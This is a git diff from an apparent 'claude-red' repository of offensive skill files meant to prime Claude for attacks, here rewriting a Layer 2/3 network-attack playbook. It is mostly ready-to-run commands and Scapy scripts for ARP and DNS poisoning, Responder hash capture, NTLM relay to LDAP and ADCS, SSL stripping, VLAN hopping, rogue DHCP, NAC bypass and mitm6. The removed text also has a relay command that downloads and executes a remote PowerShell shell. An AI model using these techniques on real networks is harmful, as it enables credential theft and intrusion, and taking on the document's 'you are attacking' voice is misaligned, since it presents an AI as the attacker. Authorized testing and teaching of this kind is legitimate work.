Skip to content

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

Finalize network-attacks, data-exfiltration, and SSTI skill rewrites

Claude4c7fcfdd6d3d
diff --git a/Skills/network/offensive-network-attacks/SKILL.md b/Skills/network/offensive-network-attacks/SKILL.md
index 84fd420..8f16792 100644
--- a/Skills/network/offensive-network-attacks/SKILL.md
+++ b/Skills/network/offensive-network-attacks/SKILL.md
@@ -1,597 +1,491 @@
---
name: offensive-network-attacks
-description: "Network-level attack techniques targeting Layer 2 and Layer 3 protocols for internal penetration testing and red team engagements. Covers ARP spoofing and cache poisoning (arpspoof, Bettercap, Ettercap), LLMNR/NBT-NS/mDNS poisoning for credential interception (Responder, Inveigh), DNS poisoning and spoofing, man-in-the-middle attack execution (Bettercap, SSL stripping, HSTS bypass via sslstrip+ and dns2proxy), VLAN hopping (switch spoofing, double tagging/Q-in-Q), DHCP attacks (rogue DHCP server, DHCP starvation), 802.1X and NAC bypass techniques (MAC spoofing, hub-based bypass, certificate extraction), IPv6 attacks (SLAAC abuse, mitm6 DNS takeover, IPv6 router advertisement flooding), and network traffic sniffing and analysis with Wireshark and tcpdump. Integrates with Bettercap for MITM framework operations, Responder for multicast name resolution poisoning, mitm6 for IPv6-based attacks, Ettercap for legacy MITM scenarios, and Wireshark for packet analysis. Maps to MITRE ATT&CK T1557 (Adversary-in-the-Middle) and T1040 (Network Sniffing). All techniques assume you are operating on an authorized internal network assessment with explicit written scope."
+description: "Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface."
---
-# Offensive Network Attacks
+# Network Attacks (Layer 2/3) -- Offensive Methodology
-Internal network assessments begin the moment you have a foothold on the wire or WLAN. Layer 2 and Layer 3 protocols were designed for functionality and interoperability, not security -- most broadcast, resolve, and route without authentication. You exploit that trust to intercept credentials, redirect traffic, and pivot across network segments.
-
-These techniques assume you have authorized access to an internal network segment. Executing ARP spoofing, DHCP attacks, or VLAN hopping on a production network can cause outages. Coordinate with the client's network operations team, define a maintenance window for disruptive tests, and have rollback procedures ready.
+You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
## Quick Workflow
-1. Perform passive reconnaissance: identify the subnet, gateway, VLAN assignments, active hosts, and naming conventions.
-2. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS traffic without poisoning.
-3. Enable Responder poisoning to capture NTLMv2 hashes from broadcast name resolution.
-4. If credential interception is insufficient, escalate to ARP spoofing for targeted MITM against high-value hosts.
-5. Attempt VLAN hopping or IPv6 attacks if segmentation limits your reach.
-6. Crack captured hashes offline; relay credentials where cracking is impractical.
-7. Document all intercepted traffic, credentials, and network misconfigurations for the final report.
+1. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
+2. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
+3. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
+4. Enable Responder poisoning to capture NTLMv2 hashes.
+5. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
+6. ARP spoof the gateway for targeted MITM and credential interception.
+7. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
+8. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
---
-## ARP Spoofing and Cache Poisoning
-
-ARP has no authentication mechanism. You send gratuitous ARP replies to associate your MAC address with the gateway's IP on victim hosts, routing their traffic through your machine.
+## ARP Spoofing
-### ARP Spoofing with Bettercap
+ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
-Bettercap is the modern replacement for arpspoof and Ettercap. It provides a unified MITM framework with modules for ARP spoofing, DNS spoofing, packet proxying, and credential sniffing.
+### Bettercap ARP Module
```bash
-# Start Bettercap on the target interface
sudo bettercap -iface eth0
-
-# Inside the Bettercap interactive console:
-
-# Discover live hosts on the subnet
-net.probe on
-
-# List discovered targets
+net.probe on # discover live hosts
net.show
-
-# Enable ARP spoofing -- full-duplex (both target and gateway)
-set arp.spoof.fullduplex true
-set arp.spoof.targets 192.168.1.50
+set arp.spoof.targets 10.0.0.50 # single target
+set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
-
-# Enable packet forwarding to maintain connectivity
-set net.sniff.local true
-net.sniff on
-
-# Capture HTTP credentials
-set http.proxy.sslstrip true
-http.proxy on
-
-# Capture HTTPS credentials (with SSL stripping)
-set https.proxy.sslstrip true
-https.proxy on
```
-### ARP Spoofing with arpspoof (Legacy)
+### arpspoof and Ettercap
```bash
-# Enable IP forwarding to prevent DoS
echo 1 > /proc/sys/net/ipv4/ip_forward
+arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
+arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
-# Poison the victim's ARP cache (tell victim you are the gateway)
-arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
-
-# In a second terminal, poison the gateway (tell gateway you are the victim)
-arpspoof -i eth0 -t 192.168.1.1 192.168.1.50
-
-# Now all traffic between victim and gateway flows through your machine
-# Capture with tcpdump:
-tcpdump -i eth0 -w capture.pcap host 192.168.1.50
+# Ettercap alternative
+sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
+sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
```
-### ARP Spoofing with Ettercap
+### Gratuitous ARP with Scapy
-```bash
-# Text mode -- ARP poisoning between target and gateway
-sudo ettercap -T -q -M arp:remote /192.168.1.50// /192.168.1.1//
+```python
+from scapy.all import Ether, ARP, sendp
+import time
-# With a compiled Ettercap filter to inject content in transit:
-etterfilter inject_html.ef -o inject_html.eco
-sudo ettercap -T -q -M arp:remote -F inject_html.eco /192.168.1.50// /192.168.1.1//
+pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
+ op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
+)
+while True:
+ sendp(pkt, iface="eth0", verbose=False)
+ time.sleep(2)
```
----
+### Bypassing Static ARP Entries
-## LLMNR/NBT-NS/mDNS Poisoning
+Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.
-When DNS resolution fails, Windows falls back to Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS). These broadcast protocols ask the entire subnet "who is X?" -- and you answer first with your IP address, redirecting authentication attempts to your machine.
+---
-### Responder
+## LLMNR / NBT-NS / mDNS Poisoning
-Responder is the standard tool for poisoning multicast name resolution and capturing NTLMv2 hashes. It runs rogue SMB, HTTP, LDAP, FTP, and SQL servers to provoke authentication.
+When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.
-```bash
-# Run Responder in analyze mode first (passive -- no poisoning)
-sudo responder -I eth0 -A
+### Responder Setup and Hash Capture
-# Review the output to understand what protocols are in use
-# and which hosts are broadcasting name resolution queries
+```bash
+sudo responder -I eth0 -A # analyze mode -- observe without poisoning
+sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
+# Hashes land in /opt/Responder/logs/
+hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
+hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
+```
-# Enable poisoning with all rogue servers
-sudo responder -I eth0 -wrfb
+WPAD is a high-value vector: browsers query for `wpad.dat` via DNS then LLMNR/NBT-NS. The `-w` flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.
-# Flags breakdown:
-# -w Start the WPAD rogue proxy server
-# -r Enable NetBIOS wrapping answers
-# -f Fingerprint hosts that connect
-# -b Enable HTTP basic auth (for non-NTLM clients)
+### Inveigh (Windows-Native)
-# Captured hashes are stored in:
-# /opt/Responder/logs/
+From a compromised Windows host, poison without dropping Linux tools:
-# Hash format (NTLMv2):
-# user::DOMAIN:challenge:response:blob
-# Crack with hashcat:
-hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
+```powershell
+Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
+Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
```
-### NTLM Relay with ntlmrelayx (Instead of Cracking)
+### NTLMv1/v2 Relay with ntlmrelayx
-When hashes resist cracking, relay them to another service that accepts NTLM authentication.
+When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.
```bash
-# Identify hosts with SMB signing disabled (relay targets)
-crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
-
-# Start ntlmrelayx targeting those hosts
-# Disable SMB and HTTP in Responder first (ntlmrelayx will handle them)
-sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support
-
-# Responder forces authentication; ntlmrelayx relays the hash
-# to execute commands on the relay target:
-sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support \
- -c "powershell -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1'))"
-
-# Or dump SAM hashes from the relay target:
-sudo python3 ntlmrelayx.py -tf relay_targets.txt -smb2support --dump-lsass
+nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
+impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
+impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
+ --escalate-user attacker --delegate-access # LDAP privesc
+impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
+ -smb2support --adcs --template DomainController # ADCS ESC8
```
-### Inveigh (Windows-Native Poisoning)
-
-When you are operating from a compromised Windows host, Inveigh is the PowerShell-based equivalent of Responder.
-
-```powershell
-# Import and run Inveigh
-Import-Module .\Inveigh.ps1
-
-# Start poisoning from a Windows host
-Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -ConsoleOutput Y -FileOutput Y
-
-# Or use InveighZero (the C# version) for better performance
-.\InveighZero.exe -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y
-
-# Captured hashes are written to the current directory
-# Format is identical to Responder output -- compatible with hashcat
-```
+Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.
---
-## DNS Poisoning and Spoofing
+## DNS Poisoning
-DNS spoofing redirects domain lookups to your controlled IP address. Combined with ARP spoofing, you can hijack authentication flows, redirect updates, or serve malicious content.
+DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.
-### DNS Spoofing with Bettercap
+### Rogue DNS Server via DHCP Option 6
+
+After DHCP starvation or on a network without DHCP snooping, deploy dnsmasq with your IP as DNS (option 6):
```bash
-# Bettercap DNS spoofing -- redirect specific domains
-sudo bettercap -iface eth0
+# /etc/dnsmasq-rogue.conf:
+# interface=eth0
+# dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
+# dhcp-option=3,10.0.0.99 # gateway
+# dhcp-option=6,10.0.0.99 # DNS
+# address=/intranet.corp.local/10.0.0.99
+# server=8.8.8.8
+sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
+```
-# Create a DNS spoofing hosts file
-# File: /tmp/dns_spoof_hosts
-# Format: IP domain
-# 192.168.1.100 intranet.targetcorp.com
-# 192.168.1.100 vpn.targetcorp.com
-# 192.168.1.100 *.targetcorp.com
+### DNS Cache Poisoning with Scapy
-set dns.spoof.domains intranet.targetcorp.com, vpn.targetcorp.com
-set dns.spoof.address 192.168.1.100
-dns.spoof on
+```python
+from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
+import random
-# Combine with ARP spoofing for full interception
-set arp.spoof.targets 192.168.1.0/24
-arp.spoof on
+# Flood spoofed responses -- must match in-flight query txid and src port
+for txid in range(1, 65535):
+ pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
+ UDP(sport=53, dport=random.randint(1024, 65535)) / \
+ DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
+ an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
+ send(pkt, verbose=False)
```
-### DNS Spoofing with dnschef
+Modern resolvers randomize source ports and transaction IDs. Practical Kaminsky-style poisoning requires matching both fields simultaneously.
+
+### DNS Rebinding
+
+Bypass same-origin policy by toggling a DNS record between your server and an internal IP:
```bash
-# Standalone DNS proxy for targeted spoofing
-sudo dnschef --fakeip 192.168.1.100 --fakedomains targetcorp.com -i 192.168.1.100
-
-# Configuration file for complex mappings (/tmp/dnschef.ini):
-# [A]
-# *.targetcorp.com=192.168.1.100
-# [AAAA]
-# *.targetcorp.com=::1
-sudo dnschef --file /tmp/dnschef.ini -i 192.168.1.100
+# singularity framework: first resolution serves JS payload, second returns internal target
+./singularity -DNSRebindStrategy DNSRebindFromRequest \
+ -ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1
```
---
-## Man-in-the-Middle Attacks
-
-Once you are positioned between a victim and their gateway (via ARP spoofing, DNS poisoning, or rogue network services), you can inspect, modify, and inject traffic.
+## Man-in-the-Middle (MITM)
-### SSL Stripping
+Once positioned between victim and gateway (via ARP spoof, DHCP redirect, or tap), intercept and modify traffic.
-SSL stripping downgrades HTTPS connections to HTTP by intercepting the initial redirect and rewriting links. This fails against HSTS-preloaded domains but works against sites relying solely on server-side redirects.
+### Bettercap HTTP Proxy and SSL Strip
```bash
-# Bettercap SSL stripping with hstshijack caplet
sudo bettercap -iface eth0
-
-# Load the hstshijack caplet for HSTS bypass
-set hstshijack.log /tmp/hsts.log
-set hstshijack.payloads *:/tmp/inject.js
-set hstshijack.targets mail.targetcorp.com,intranet.targetcorp.com
-set hstshijack.replacements mail.targetcorp.corn,intranet.targetcorp.corn
-set hstshijack.obfuscate true
-set hstshijack.encode true
-
-hstshijack on
+set arp.spoof.targets 10.0.0.50
+set arp.spoof.fullduplex true
arp.spoof on
+set http.proxy.sslstrip true
+http.proxy on
+set net.sniff.verbose true
+set net.sniff.regexp .*pass.*|.*user.*|.*login.*
+net.sniff on
```
-### HSTS Bypass with sslstrip+
+### HSTS Bypass with sslstrip+ and dns2proxy
-sslstrip+ combined with dns2proxy replaces domain names themselves so the browser never applies its HSTS policy. Set up IP forwarding, iptables redirect to port 10000, run sslstrip+ and dns2proxy, then ARP spoof the target.
+sslstrip+ rewrites domain names (e.g., `accounts.google.com` to `accountss.google.com`) so the browser never applies HSTS. dns2proxy resolves rewritten domains to real IPs.
```bash
-echo 1 > /proc/sys/net/ipv4/ip_forward
-iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
+arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # terminal 1
+iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000 # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
-python3 sslstrip.py -l 10000 -a -w /tmp/sslstrip.log &
-python3 dns2proxy.py &
-arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
+python dns2proxy.py -i eth0 # terminal 3
+python sslstrip.py -l 10000 -a -w sslstrip.log # terminal 4
```
-### Credential Interception from MITM Position
+### Credential Interception from Proxied Traffic
```bash
-# Bettercap built-in credential sniffing
-set net.sniff.verbose true
-set net.sniff.regexp .*password.*
-net.sniff on
-
-# Extract credentials from pcap files offline
-pcredz -f capture.pcap
-# Or real-time extraction across protocols (HTTP, FTP, SMTP, NTLM)
-sudo python3 net-creds.py -i eth0
+tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
+tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
+ -T fields -e ftp.request.command -e ftp.request.arg
+python3 Pcredz -f capture.pcap # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
+sudo python3 net-creds.py -i eth0 # real-time credential sniffer
```
---
## VLAN Hopping
-VLAN segmentation isolates broadcast domains, but misconfigurations in switch port settings allow you to send traffic into VLANs you should not reach.
-
-### Switch Spoofing
+### Switch Spoofing (DTP Negotiation)
-If a switch port is configured in dynamic trunking mode (the default on many Cisco switches), you can negotiate a trunk link and access all VLANs.
+If the switch port is in dynamic auto/desirable mode (common Cisco default), negotiate a trunk:
```bash
-# Use Yersinia to negotiate a DTP trunk
-sudo yersinia dtp -attack 1 -interface eth0
-
-# Or manually craft DTP frames with scapy
-python3 <<'PYEOF'
-from scapy.all import *
-from scapy.contrib.dtp import *
-
-# Send DTP desirable frames to negotiate trunking
-dtp_frame = (
- Dot3(src=get_if_hwaddr("eth0"), dst="01:00:0c:cc:cc:cc") /
- LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) /
- SNAP(OUI=0x00000c, code=0x2004) /
- DTP(tlvlist=[
- DTPDomain(type=0x0001, length=5, domain=b""),
- DTPStatus(type=0x0002, length=5, status=b"\x03"), # Desirable
- DTPType(type=0x0003, length=5, dtptype=b"\xa5"), # 802.1Q
- DTPNeighbor(type=0x0004, length=10, neighbor=get_if_hwaddr("eth0"))
- ])
-)
-
-sendp(dtp_frame, iface="eth0", loop=1, inter=30)
-PYEOF
-
-# Once trunking is established, create VLAN sub-interfaces
+sudo yersinia dtp -attack 1 -interface eth0 # DTP trunk negotiation
+sudo tcpdump -i eth0 -nn -e vlan # verify trunk formed
sudo modprobe 8021q
-sudo vconfig add eth0 100 # Target VLAN 100
-sudo ifconfig eth0.100 192.168.100.5 netmask 255.255.255.0 up
+sudo vconfig add eth0 100 # sub-interface for VLAN 100
+sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up
```
-### Double Tagging (Q-in-Q)
+### Double Tagging (802.1Q)
-When switch spoofing fails (DTP is disabled), double tagging exploits the way switches process nested 802.1Q headers. The outer tag is stripped by the first switch, and the inner tag routes the frame into the target VLAN. This is a one-way attack -- you can send but not receive replies directly.
+Works when you are on the native VLAN and the switch strips only the outer tag. Unidirectional -- you send into the target VLAN but responses route normally and will not reach you.
```python
-# Double tagging with Scapy
-from scapy.all import *
-
-# Craft a double-tagged frame
-# Outer VLAN: your native VLAN (e.g., 1)
-# Inner VLAN: target VLAN (e.g., 100)
-frame = (
- Ether(dst="ff:ff:ff:ff:ff:ff") /
- Dot1Q(vlan=1) / # Outer tag (native VLAN -- stripped by first switch)
- Dot1Q(vlan=100) / # Inner tag (routes to target VLAN)
- IP(dst="192.168.100.1") /
- ICMP()
-)
+from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp
-sendp(frame, iface="eth0")
-
-# For practical exploitation, combine with ARP poisoning:
-# Send double-tagged ARP replies to poison caches in the target VLAN
-arp_poison = (
- Ether(dst="ff:ff:ff:ff:ff:ff") /
- Dot1Q(vlan=1) /
- Dot1Q(vlan=100) /
- ARP(op=2, psrc="192.168.100.1", hwsrc="aa:bb:cc:dd:ee:ff",
- pdst="192.168.100.50", hwdst="ff:ff:ff:ff:ff:ff")
-)
+# Outer tag = native VLAN (1), inner tag = target VLAN (100)
+pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
+ Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
+sendp(pkt, iface="eth0")
+# Double-tagged ARP poisoning into target VLAN
+arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
+ ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)
```
+### Yersinia Layer 2 Attacks
+
+```bash
+sudo yersinia stp -attack 4 -interface eth0 # STP root bridge takeover
+sudo yersinia cdp -attack 1 -interface eth0 # CDP flood (Cisco switches)
+```
+
---
## DHCP Attacks
-DHCP has no authentication. You can starve the legitimate DHCP server of its address pool and then step in as a rogue server, pushing your IP as the default gateway and DNS server.
-
### DHCP Starvation
-Exhaust the DHCP server's address pool by requesting every available lease with spoofed MAC addresses.
+Exhaust the pool so legitimate clients cannot get addresses:
```bash
-# DHCPig -- purpose-built DHCP starvation tool
-sudo pig.py eth0
-
-# Or with Yersinia
-sudo yersinia dhcp -attack 1 -interface eth0
+sudo dhcpstarv -i eth0 # dedicated starvation tool
+sudo yersinia dhcp -attack 1 -interface eth0 # Yersinia alternative
```
```python
-# Scapy-based starvation -- fine-grained control
-from scapy.all import *
+from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random
for i in range(500):
- mac = ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])
- raw_mac = bytes.fromhex(mac.replace(":", ""))
- pkt = (Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
- IP(src="0.0.0.0", dst="255.255.255.255") /
- UDP(sport=68, dport=67) /
- BOOTP(chaddr=raw_mac, xid=random.randint(1, 0xFFFFFFFF)) /
- DHCP(options=[("message-type", "discover"), "end"]))
+ mac = str(RandMAC())
+ pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
+ UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
+ xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
sendp(pkt, iface="eth0", verbose=False)
```
-### Rogue DHCP Server
+### Rogue DHCP Server for Gateway Redirect
-After starvation (or on a subnet without DHCP snooping), deploy a rogue DHCP server that assigns your machine as the gateway and DNS server.
+After starvation, offer leases with your IP as gateway and DNS:
```bash
-# Bettercap rogue DHCP
-sudo bettercap -iface eth0
-
-set dhcp6.spoof.domains targetcorp.com
-set dhcp6.spoof.address 192.168.1.100 # Your IP
-
-# For DHCPv4 rogue server, use Metasploit:
-msfconsole -q -x "
-use auxiliary/server/dhcp;
-set SRVHOST 192.168.1.100;
-set NETMASK 255.255.255.0;
-set ROUTER 192.168.1.100;
-set DNSSERVER 192.168.1.100;
-set DHCPIPSTART 192.168.1.200;
-set DHCPIPEND 192.168.1.250;
-run
-"
-
-# All clients receiving leases from your rogue server now
-# route through you (gateway) and resolve DNS through you
+# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
+# dhcp-option=3,10.0.0.99 (gateway) dhcp-option=6,10.0.0.99 (DNS) dhcp-authoritative
+sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
+echo 1 > /proc/sys/net/ipv4/ip_forward
+iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
---
-## 802.1X and NAC Bypass
+## 802.1X / NAC Bypass
+
+### MAB Bypass (MAC Spoofing)
-Network Access Control uses 802.1X authentication to restrict network access to authorized devices. Several bypass techniques exist depending on the implementation.
+If NAC uses MAC Authentication Bypass for printers/VoIP phones, spoof an authorized MAC:
+
+```bash
+sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u # discover authorized MACs
+sudo ip link set eth0 down
+sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
+sudo ip link set eth0 up && sudo dhclient eth0
+```
-### MAC Address Spoofing
+### Hub / Bridge Insertion
-If NAC relies on MAC-based authentication (MAB) rather than certificate-based 802.1X, spoof an authorized MAC address.
+Bridge between an authenticated device and the switch port. 802.1X authenticates the port, not individual MACs -- your traffic shares the authenticated session:
```bash
-# Find authorized MAC addresses on the network
-# Sniff traffic on an unauthenticated port or from ARP broadcasts
-sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u
-
-# Or read the MAC from an authorized device's network configuration
-# (if you have physical access to a printer, IP phone, etc.)
-
-# Spoof the MAC address
-sudo ifconfig eth0 down
-sudo macchanger -m AA:BB:CC:DD:EE:FF eth0
-sudo ifconfig eth0 up
-sudo dhclient eth0
+sudo ip link add name br0 type bridge
+sudo ip link set eth0 master br0 # eth0 to switch
+sudo ip link set eth1 master br0 # eth1 to authenticated device
+sudo ip link set br0 up
```
-### Hub-Based 802.1X Bypass
+### Certificate Impersonation
-Insert a passive hub between an authenticated device (printer, IP phone) and the switch port. The switch sees the port as authenticated; your device shares that state. Spoof the authenticated device's MAC. This works because 802.1X authenticates the port, not individual MACs (unless per-MAC dynamic ACLs are configured).
+If EAP-TLS is used and the RADIUS server does not validate the CA chain strictly:
-### Certificate Extraction for EAP-TLS
+```bash
+openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
+openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
+openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
+# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
+sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf
+```
+
+### NAC Profiling Evasion
+
+Match expected device fingerprint -- OUI, DHCP hostname, TCP stack:
```bash
-# On a compromised domain-joined Windows machine (local admin):
-certutil -store My
-# Export with private key via mimikatz:
-# mimikatz # crypto::certificates /systemstore:local_machine /export
-
-# Configure your attack machine for EAP-TLS with the extracted cert:
-cat <<'EOF' > /etc/wpa_supplicant/wpa_supplicant.conf
-network={
- ssid="CorpWiFi"
- key_mgmt=WPA-EAP
- eap=TLS
- identity="TARGETCORP\WORKSTATION01$"
- ca_cert="/etc/certs/ca.pem"
- client_cert="/etc/certs/client.pem"
- private_key="/etc/certs/client.key"
- private_key_passwd="exported_password"
-}
-EOF
-wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
+sudo macchanger -m 00:1A:4B:XX:XX:XX eth0 # HP printer OUI
+sudo dhclient -H "HP-LaserJet-M402" eth0 # expected hostname
+sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128 # Windows TTL
```
---
## IPv6 Attacks
-Most internal networks have IPv6 enabled by default but lack IPv6 security controls. Windows prefers IPv6 over IPv4 -- if you advertise an IPv6 router, Windows clients will route through you.
+Most internal networks run dual-stack but lack IPv6 monitoring. Windows prefers IPv6 DNS over IPv4 -- advertise an IPv6 DNS server and all queries route through you.
-### SLAAC Abuse and mitm6
+### SLAAC Abuse with mitm6
-mitm6 exploits the default IPv6 configuration on Windows to become the primary DNS server via DHCPv6, then relays authentication to ntlmrelayx.
+mitm6 replies to DHCPv6 requests, sets your host as DNS, then victims' name lookups trigger NTLM authentication back to your relay listener:
```bash
-# mitm6 -- IPv6 DNS takeover
-# Responds to DHCPv6 requests and sets your machine as DNS server
-# Victims resolve internal names through you -> authentication -> relay
-
-# Terminal 1: Start mitm6
-sudo mitm6 -d targetcorp.com -i eth0
-
-# Terminal 2: Start ntlmrelayx to relay captured auth
-sudo python3 ntlmrelayx.py -6 -t ldaps://dc01.targetcorp.com \
- -wh fakewpad.targetcorp.com -l /tmp/loot/
-
-# What happens:
-# 1. mitm6 sends DHCPv6 replies assigning your IP as DNS server
-# 2. Windows clients start sending DNS queries to you
-# 3. mitm6 responds to DNS queries with your IP address
-# 4. Clients attempt authentication (WPAD, SMB, HTTP)
-# 5. ntlmrelayx relays the auth to the domain controller via LDAP
-# 6. On success: creates a new machine account, dumps AD info, etc.
+sudo mitm6 -d corp.local -i eth0 # terminal 1: DNS takeover
+impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
+ --delegate-access -wh attacker-wpad.corp.local # terminal 2: relay
```
-### IPv6 Router Advertisement Injection
+### Router Advertisement Spoofing
```python
-# Scapy -- inject a rogue Router Advertisement to become default router
-from scapy.all import *
-
-ra = (
- Ether(dst="33:33:00:00:00:01") /
- IPv6(src="fe80::1", dst="ff02::1") /
- ICMPv6ND_RA(routerlifetime=1800) /
- ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr("eth0")) /
- ICMPv6NDOptMTU(mtu=1500) /
- ICMPv6NDOptPrefixInfo(prefix="2001:db8::", prefixlen=64,
- validlifetime=0xFFFFFFFF, preferredlifetime=0xFFFFFFFF)
-)
+from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
+ ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)
+
+ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
+ ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
+ ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
+ ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)
+```
+
+### DHCPv6 Poisoning and THC-IPV6
+
+```bash
+sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local # fake DHCPv6 server
+sudo atk6-alive6 eth0 # discover IPv6 hosts
+sudo atk6-fake_router6 eth0 fd00::/64 # SLAAC prefix injection
+sudo atk6-parasite6 eth0 # ICMPv6 neighbor spoofing
+sudo atk6-flood_router6 eth0 # RA flood (DoS)
+```
+
